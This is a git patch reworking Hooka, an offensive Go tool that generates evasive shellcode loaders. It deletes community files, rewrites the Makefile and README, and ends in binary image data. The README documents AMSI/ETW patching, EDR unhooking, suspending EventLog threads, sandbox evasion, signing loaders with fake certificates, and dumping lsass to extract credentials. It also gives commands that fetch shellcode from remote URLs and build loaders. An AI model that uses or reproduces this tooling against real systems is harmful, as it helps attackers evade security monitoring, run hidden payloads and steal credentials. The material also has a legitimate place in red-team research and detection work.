From c13b52fc68d9af0ea215f04a308f6ef48986117c Mon Sep 17 00:00:00 2001 From: d3ext Date: Thu, 10 Oct 2024 17:53:45 +0200 Subject: [PATCH] new version, this tool has been completely reworked. --- CHANGELOG.md | 30 - CODE_OF_CONDUCT.md | 74 - CONTRIBUTING.md | 36 - LICENSE | 2 +- Makefile | 37 +- README.md | 272 +- assets/crt.png | Bin 14345 -> 0 bytes assets/custom.png | Bin 28070 -> 0 bytes assets/demo1.png | Bin 0 -> 62743 bytes assets/demo2.png | Bin 0 -> 85330 bytes assets/gopher.png | Bin 695280 -> 0 bytes assets/hooks.png | Bin 11534 -> 0 bytes assets/lsass.png | Bin 13502 -> 0 bytes assets/test.png | Bin 32416 -> 0 bytes cmd/main.go | 3607 +++++++++++++++++ core/amsi.go | 79 - core/auxiliary.go | 387 -- core/blockdlls.go | 1 - core/blockhandle.go | 54 - core/consts.go | 81 - core/createremotethread.go | 233 -- core/enumsystemlocales.go | 102 - core/etw.go | 41 - core/etwpcreateetwthread.go | 62 - core/injection.go | 78 - core/lsass.go | 75 - core/phant0m.go | 184 - core/syscall.go | 81 - core/unhook.go | 239 -- core/wrappers.go | 94 - {core => evasion}/acg.go | 4 +- evasion/amsi.go | 88 + {core => evasion}/asm_x64.s | 0 evasion/blockdlls.go | 120 + evasion/consts.go | 98 + evasion/etw.go | 59 + evasion/exports.go | 211 + {core => evasion}/gate.go | 64 +- {core => evasion}/hashing.go | 42 +- {core => evasion}/hooks.go | 18 +- evasion/lsass.go | 79 + evasion/phant0m.go | 154 + {core => evasion}/sandbox.go | 37 +- evasion/sleep.go | 13 + evasion/syscall.go | 17 + evasion/unhook.go | 217 + evasion/utils.go | 187 + examples/README.md | 216 +- examples/api-hashing.go | 11 +- examples/blockdlls.go | 28 + examples/dump-lssas.go | 38 + examples/enable-acg-guard.go | 2 + examples/halos-gate.go | 8 +- examples/no-rwx.go | 231 -- examples/sandbox.go | 22 + examples/shellcode-loader.go | 14 +- ...kill-event-log.go => suspend-event-log.go} | 3 +- go.mod | 9 +- go.sum | 27 +- main.go | 656 --- pkg/hooka/acg.go | 4 +- pkg/hooka/amsi.go | 8 +- pkg/hooka/auxiliary.go | 16 +- pkg/hooka/blockdlls.go | 14 + pkg/hooka/dll.go | 6 +- pkg/hooka/etw.go | 8 +- pkg/hooka/gate.go | 7 +- pkg/hooka/hashing.go | 31 +- pkg/hooka/hooks.go | 6 +- pkg/hooka/lsass.go | 6 +- pkg/hooka/phant0m.go | 13 +- pkg/hooka/sandbox.go | 22 +- pkg/hooka/shellcode.go | 58 +- pkg/hooka/sleep.go | 8 + pkg/hooka/syscall.go | 10 +- pkg/hooka/unhook.go | 12 +- shellcode/asm_x64.s | 112 + {core => shellcode}/createprocess.go | 2 +- shellcode/createremotethread.go | 78 + shellcode/enumsystemlocales.go | 92 + shellcode/etwpcreateetwthread.go | 43 + {core => shellcode}/exports.go | 56 +- {core => shellcode}/fibers.go | 31 +- shellcode/no-rwx.go | 58 + shellcode/ntcreatethreadex.go | 143 + shellcode/ntqueueapcthreadex.go | 45 + shellcode/processhollowing.go | 126 + {core => shellcode}/queueuserapc.go | 7 +- {core => shellcode}/rtlcreateuserthread.go | 2 +- {core => shellcode}/uuidfromstring.go | 2 +- utils/3des.go | 44 + utils/aes.go | 67 + utils/data.go | 24 + {core => utils}/dll.go | 11 +- utils/hashes.go | 24 + utils/pe_info.go | 87 + utils/privs_windows.go | 28 + utils/rand.go | 33 + utils/rc4.go | 27 + utils/shellcode.go | 50 + utils/xor.go | 10 + 101 files changed, 6629 insertions(+), 3324 deletions(-) delete mode 100644 CHANGELOG.md delete mode 100644 CODE_OF_CONDUCT.md delete mode 100644 CONTRIBUTING.md delete mode 100644 assets/crt.png delete mode 100644 assets/custom.png create mode 100644 assets/demo1.png create mode 100644 assets/demo2.png delete mode 100644 assets/gopher.png delete mode 100644 assets/hooks.png delete mode 100644 assets/lsass.png delete mode 100644 assets/test.png create mode 100644 cmd/main.go delete mode 100644 core/amsi.go delete mode 100644 core/auxiliary.go delete mode 100644 core/blockdlls.go delete mode 100644 core/blockhandle.go delete mode 100644 core/consts.go delete mode 100644 core/createremotethread.go delete mode 100644 core/enumsystemlocales.go delete mode 100644 core/etw.go delete mode 100644 core/etwpcreateetwthread.go delete mode 100644 core/injection.go delete mode 100644 core/lsass.go delete mode 100644 core/phant0m.go delete mode 100644 core/syscall.go delete mode 100644 core/unhook.go delete mode 100644 core/wrappers.go rename {core => evasion}/acg.go (89%) create mode 100644 evasion/amsi.go rename {core => evasion}/asm_x64.s (100%) create mode 100644 evasion/blockdlls.go create mode 100644 evasion/consts.go create mode 100644 evasion/etw.go create mode 100644 evasion/exports.go rename {core => evasion}/gate.go (66%) rename {core => evasion}/hashing.go (68%) rename {core => evasion}/hooks.go (67%) create mode 100644 evasion/lsass.go create mode 100644 evasion/phant0m.go rename {core => evasion}/sandbox.go (87%) create mode 100644 evasion/sleep.go create mode 100644 evasion/syscall.go create mode 100644 evasion/unhook.go create mode 100644 evasion/utils.go create mode 100644 examples/blockdlls.go create mode 100644 examples/dump-lssas.go delete mode 100644 examples/no-rwx.go create mode 100644 examples/sandbox.go rename examples/{kill-event-log.go => suspend-event-log.go} (87%) delete mode 100644 main.go create mode 100644 pkg/hooka/blockdlls.go create mode 100644 pkg/hooka/sleep.go create mode 100644 shellcode/asm_x64.s rename {core => shellcode}/createprocess.go (99%) create mode 100644 shellcode/createremotethread.go create mode 100644 shellcode/enumsystemlocales.go create mode 100644 shellcode/etwpcreateetwthread.go rename {core => shellcode}/exports.go (73%) rename {core => shellcode}/fibers.go (63%) create mode 100644 shellcode/no-rwx.go create mode 100644 shellcode/ntcreatethreadex.go create mode 100644 shellcode/ntqueueapcthreadex.go create mode 100644 shellcode/processhollowing.go rename {core => shellcode}/queueuserapc.go (94%) rename {core => shellcode}/rtlcreateuserthread.go (98%) rename {core => shellcode}/uuidfromstring.go (99%) create mode 100644 utils/3des.go create mode 100644 utils/aes.go create mode 100644 utils/data.go rename {core => utils}/dll.go (99%) create mode 100644 utils/hashes.go create mode 100644 utils/pe_info.go create mode 100644 utils/privs_windows.go create mode 100644 utils/rand.go create mode 100644 utils/rc4.go create mode 100644 utils/shellcode.go create mode 100644 utils/xor.go diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index bf691d0..0000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,30 +0,0 @@ -- Merge pull request #3 from D3Ext/dependabot/go_modules/golang.org/x/sys-0.12.0 -- Bump golang.org/x/sys from 0.8.0 to 0.12.0 -- Merge pull request #4 from D3Ext/dependabot/go_modules/github.com/google/uuid-1.3.1 -- Bump github.com/google/uuid from 1.3.0 to 1.3.1 -- Merge pull request #2 from D3Ext/dependabot/go_modules/github.com/D3Ext/maldev-0.1.4 -- Merge branch 'main' of https://github.com/D3Ext/Hooka -- ACG supported, examples added, Makefile, README update and typos fixed -- Bump github.com/D3Ext/maldev from 0.1.3 to 0.1.4 -- Create dependabot.yml -- weird package error, undefines RtlCreateUserThread -- little fix -- new features, shellcode injection techniques, fixes and much more -- little change -- UAC bypass, anti-sandbox functions, general improvements and more -- new TODOs -- remote dll support -- remove unnecessary lines - little changes -- little changes -- v0.1 - major changes, firex, code improvement and more -- halo's gate, uuidfromstring injection, more CLI flags and more -- stable amsi patch, more functions and other improvements -- new example images added -- updated README.md -- issue templates added -- more functions and implementations -- initial commit -- Create FUNDING.yml -- Update README.md -- Update README.md -- Initial commit diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index c7bedb0..0000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,74 +0,0 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnicity, gender identity and expression, level of experience, -education, socio-economic status, nationality, personal appearance, race, -religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment -include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or - advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable -behavior and are expected to take appropriate and fair corrective action in -response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or -reject comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct, or to ban temporarily or -permanently any contributor for other behaviors that they deem inappropriate, -threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at [d3ext@proton.me]. All -complaints will be reviewed and investigated and will result in a response that -is deemed necessary and appropriate to the circumstances. The project team is -obligated to maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by other -members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, -available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html - -[homepage]: https://www.contributor-covenant.org - diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index bc70313..0000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,36 +0,0 @@ -# Contributing to Hooka - -Contributions are welcomed! This document provides some basic guidelines for contributors. - -## Found a bug? - -- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one. -- Include the problem description in the issue. - -## Pull Requests - -When creating a PR, please follow these guidelines: - -- Link your PR to the corresponding issue. -- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be. -- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible. -- Include steps for functional testing or replication. - -## Code Style - -- Please run `go fmt ./...` before committing to ensure code aligns with go standards. -- Ensure to lint your code before submitting PR -- All dependencies must be defined in the go.mod file -- Check [https://go.dev/doc/effective_go](https://go.dev/doc/effective_go) for further details - -## Questions - -If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext*** - -Thank you for your contribution! - -## License - -By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/Hooka/blob/main/LICENSE). - -All files are released with the MIT license. diff --git a/LICENSE b/LICENSE index 6657595..494404a 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2023 D3Ext +Copyright (c) 2024 D3Ext Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 0d11d3d..9103264 100644 --- a/Makefile +++ b/Makefile @@ -1,9 +1,32 @@ -CC = go +EXECUTABLE=hooka +WINDOWS=$(EXECUTABLE)_windows_amd64.exe +LINUX=$(EXECUTABLE)_linux_amd64 +DARWIN=$(EXECUTABLE)_darwin_amd64 -all: - mkdir build/ - export CGO_ENABLED=0 - GOARCH=amd64 GOOS=windows $(CC) build -o build/hooka-amd64-windows.exe main.go +.PHONY: all clean + +all: build ## Build all + +build: windows linux darwin ## Build binaries + +windows: $(WINDOWS) ## Build for Windows + +linux: $(LINUX) ## Build for Linux + +darwin: $(DARWIN) ## Build for Darwin (macOS) + +$(WINDOWS): + GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +$(LINUX): + GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +$(DARWIN): + GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + +clean: ## Remove previous build + rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN) + +help: ## Display available commands + @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' -clean: - rm -rf build/ diff --git a/README.md b/README.md index 76973e7..58752bc 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,6 @@

- Gopher

Hooka

-

Evasive shellcode loader, hooks detector and more

+

Shellcode loader generator with multiples features

Coded with 💙 by D3Ext

@@ -19,11 +18,6 @@ - - go report card - - -

@@ -31,180 +25,160 @@ Features • Usage • Library • - Contributing • Disclaimer

# Introduction -I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want. - -However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***) - -***Tested on x64, Windows 10*** +Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not? # Features -- Get shellcode from remote URL or local file -- Shellcode reflective DLL injection (***sRDI***) -- ***AMSI*** and ***ETW*** patch -- ***Phant0m*** technique to kill EventLog threads (see [here](https://github.com/hlldz/Phant0m)) -- Detects hooked functions (i.e. NtCreateThread) -- Compatible with base64 and hex encoded shellcode -- Hell's Gate + Halo's Gate technique -- Capable of unhooking user-mode syscalls via multiple techniques: - - Classic unhooking - - Full DLL unhooking - - Perun's Fart technique +This tool is able to generate loaders with this features: - Multiple shellcode injection techniques: - - CreateRemoteThread - - CreateProcess - - EnumSystemLocales - - Fibers - - QueueUserApc - - UuidFromString + - SuspendedProcess + - ProcessHollowing + - NtCreateThreadEx - EtwpCreateEtwThread - - RtlCreateUserThread + - NtQueueApcThreadEx + - No-RWX -- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique) -- Dump lsass.exe process to a file +- Get shellcode from raw file, PE, DLL or from a URL +- EXE and DLL are supported as output loader formats + +- Encrypt shellcode using: + - AES + - 3DES + - RC4 + - XOR + +- AMSI and ETW patching (enabled by default) +- Random variables and function names +- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn)) +- Multiple ways to detect sandboxing +- Enable ACG Guard protection +- Block non-Microsoft signed DLLs from injecting into created processes + +- Capable of unhooking user-mode hooks via multiple techniques: + - Classic + - Full DLL + - Perun's Fart technique + +- ***Phant0m*** technique to suspend EventLog threads (see [here](https://github.com/hlldz/Phant0m)) - Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware)) -- Test mode (injects calc.exe shellcode) - -- All already mentioned features available through official package API - -***This repo is under development so it may contain errors, use it under your own responsability for legal testing purposes*** +- Sign shellcode loader with fake or real certificates +- Strings obfuscation via Caesar cipher (see [here](https://en.wikipedia.org/wiki/Caesar_cipher)) +- Compress code weight using Golang compile and UPX (if it's installed) +- Compute binary entropy of the loader +- Compute MD5, SHA1 and SHA256 checksums to keep track of the loader # Installation -- Just clone the repository like this: +Just clone the repository like this: ```sh -git clone https://github.com/D3Ext/Hooka -cd Hooka -make +$ git clone https://github.com/D3Ext/Hooka +$ cd Hooka +$ make ``` +After that you will find the binary under the `build/` folder + # Usage -Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives: - -``` -NtGetTickCount -NtQuerySystemTime -NtdllDefWindowProc_A -NtdllDefWindowProc_W -NtdllDialogWndProc_A -NtdllDialogWndProc_W -ZwQuerySystemTime -``` - -- Let's see some examples - > Help panel -``` -``` - -> Detect hooked functions by EDR (including false positives) ```sh -.\Hooka.exe --hooks + _ _ _ _ + | | | | ___ ___ | | __ __ _ | | + | |_| | / _ \ / _ \ | |/ / / _` | | | + | _ | | (_) | | (_) | | < | (_| | |_| + |_| |_| \___/ \___/ |_|\_\ \__,_| (_) + +Usage of Hooka: + REQUIRED: + -i, --input string payload to inject in raw format, as PE, as DLL or from a URL + -o, --output string name of output file (i.e. loader.exe) + -f, --format string format of the payload to generate (available: exe, dll) (default exe) + + EXECUTION: + --proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe) + --exec string technique used to load shellcode (default "SuspendedProcess"): + SuspendedProcess + ProcessHollowing + NtCreateThreadEx + EtwpCreateEtwThread + NtQueueApcThreadEx + No-RWX + + AUXILIARY: + -a, --arch string architecture of the loader to generate (default amd64) + -c, --cert string certificate to sign generated loader with (i.e. cert.pfx) + -d, --domain string domain used to sign loader (i.e. www.microsoft.com) + + ENCODING: + --enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none) + --sgn use Shikata Ga Nai to encode generated loader (it must be installed on path) + --strings obfuscate strings using Caesar cipher + + EVASION: + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function + + EXTRA: + --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) + --compress compress generated loader using Golang compiler and UPX if it's installed + -r, --rand use a random set of parameters to create a random loader (just for testing purposes) + -v, --verbose enable verbose to print extra information + -h, --help print help panel + +Examples: + hooka -i shellcode.bin -o loader.exe + hooka -i http://192.168.1.126/shellcode.bin -o loader.exe + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` -> Test shellcode injection by spawning a calc.exe +> Generate a simple EXE loader ```sh -.\Hooka.exe --test +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe ``` -> Inject shellcode from URL or file +> Generate a DLL loader ```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --file shellcode.bin +$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll ``` -> Shellcode reflective dll injection (***sRDI***) +> Use custom config (various examples) ```sh -.\Hooka.exe --dll evil.dll,xyz -.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose +$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls +$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose ``` -> Inject shellcode into remote process (i.e. werfault.exe) **Not all techniques covered!!** -```sh -.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864 -``` - -> Decode shellcode as hex or base64 -```sh -.\Hooka.exe --file shellcode.bin --hex -.\Hooka.exe --file shellcode.bin --b64 -``` - -> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs -```sh -.\Hooka.exe -t CreateRemoteThreadHalos --url http://192.168.116.37/shellcode.bin -``` - -> Unhook function before injecting shellcode -```sh -.\Hooka.exe --file shellcode.bin --unhook 3 -``` - -> Patch AMSI and/or ETW -```sh -.\Hooka.exe --amsi --url http://192.168.116.37/shellcode.bin -.\Hooka.exe --etw --url http://192.168.116.37/shellcode.bin -``` - -> Kill EventLog service threads (run as admin) -```sh -.\Hooka.exe --phantom -``` - -> Dump lsass.exe memory to extract credentials (run as admin) -```sh -.\Hooka.exe --lsass dump.tmp -``` - -As you can see Hooka provides a lot of CLI flags to help you in all kind of situations - # Demo -> Detecting hooks - + -> Injecting shellcode via CreateRemoteThread technique - - -> Injecting shellcode using custom flags - - -> Test function - - -> Dump lsass memory - + # TODO -:ballot_box_with_check: Block other processes to open our process like [BlockOpenHandle](https://github.com/TheD1rkMtr/BlockOpenHandle) - -:ballot_box_with_check: Unhook patch (write bytes) - -:black_square_button: `--pid` flag to handle process injection - -:ballot_box_with_check: Function to find PIDs which haven't loaded a given DLL (i.e. umppc16606.dll) - -:black_square_button: Remove Windows Defender privileges to make it useless (see [here](https://github.com/plackyhacker/SandboxDefender)) - -:black_square_button: Test unhooking functions against EDRs +- Add direct and indirect syscall +- Add Chacha20 cypher to encrypt shellcode +- More OPSEC features +- General improvement # Library -To use the official package API see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka) - -# Contributing - -See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md) +The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka) # References @@ -214,10 +188,16 @@ You can take a look at some of the mentioned techniques here: https://github.com/C-Sto/BananaPhone https://github.com/timwhitez/Doge-Gabh https://github.com/Ne0nd0g/go-shellcode +https://github.com/optiv/Freeze +https://github.com/f1zm0/acheron +https://github.com/Enelg52/OffensiveGo https://github.com/trickster0/TartarusGate https://github.com/Kara-4search/HookDetection_CSharp https://github.com/RedLectroid/APIunhooker https://github.com/plackyhacker/Peruns-Fart +https://github.com/rasta-mouse/TikiTorch +https://github.com/phra/PEzor +https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet https://github.com/chvancooten/maldev-for-dummies https://blog.sektor7.net/#!res/2021/perunsfart.md https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/ @@ -225,28 +205,18 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware +https://winternl.com/detecting-manual-syscalls-from-user-mode/ ``` # Disclaimer -Creator has no responsibility for any kind of: - -- Illegal use of the project. -- Law infringement by third parties and users. -- Malicious act, capable of causing damage to third parties, promoted by the user through this software. - -# Changelog - -See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md) +Use this project under your own responsability! The author is not responsible of any bad usage of the project. # License This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license -Copyright © 2023, *D3Ext* - -# Support - -Buy Me A Coffee +Copyright © 2024, *D3Ext* + diff --git a/assets/crt.png b/assets/crt.png deleted file mode 100644 index 43d607407a14d0c04b35b8ac093a802a93154f54..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 14345 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 